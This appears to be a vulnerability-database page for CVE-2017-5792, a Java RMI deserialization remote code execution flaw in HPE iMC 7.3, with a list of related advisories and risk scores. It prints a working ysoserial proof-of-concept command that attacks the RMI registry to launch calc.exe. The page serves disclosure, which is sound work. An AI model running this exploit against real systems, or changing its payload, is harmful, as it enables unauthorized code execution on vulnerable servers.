HPE iMC 7.3 - RMI Java Deserialization

🗓️ 30 Jan 2018 00:00:00Reported by Chris LyneType

HPE iMC 7.3 Java RMI Registry Deserialization RCE Vulnerability. Exploits RMI Registry for Remote Code Executio

Reporter	Title	Published	Views	Family All 12
0day.today	HPE iMC 7.3 - RMI Java Deserialization Exploit	30 Jan 201800:00	–	zdt
CNVD	HP Intelligent Management Center Arbitrary Code Execution Vulnerability	16 Mar 201700:00	–	cnvd
Check Point Advisories	HPE Intelligent Management Center RMI Registry Insecure Deserialization (CVE-2017-5792)	15 May 201700:00	–	checkpoint_advisories
CVE	CVE-2017-5792	15 Feb 201822:00	–	cve
Cvelist	CVE-2017-5792	15 Feb 201822:00	–	cvelist
exploitpack	HPE iMC 7.3 - RMI Java Deserialization	30 Jan 201800:00	–	exploitpack
Tenable Nessus	H3C / HPE Intelligent Management Center RMI Java Object Deserialization RCE	28 Apr 201700:00	–	nessus
NVD	CVE-2017-5792	15 Feb 201822:29	–	nvd
Packet Storm	HPE iMC 7.3 RMI Java Deserialization	29 Jan 201800:00	–	packetstorm
Prion	Remote code execution	15 Feb 201822:29	–	prion

# Exploit Title: HPE iMC 7.3 Java RMI Registry Deserialization RCE Vulnerability
# Date: 01-28-2018
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: www.hpe.com
# Software Link: https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=19068&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=
# Version: iMC PLAT v7.3 (E0504) Standard
# Tested on: Windows Server 2008 R2 Enterprise 64-bit
# CVE : CVE-2017-5792
# See Also: http://zerodayinitiative.com/advisories/ZDI-18-137/

# note that this PoC will launch calc.exe

$ java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.1.100 21195 CommonsBeanutils1 calc.exe

30 Jan 2018 00:00Current

9.8High risk

Vulners AI Score9.8

CVSS 27.5

CVSS 39.8

EPSS0.80795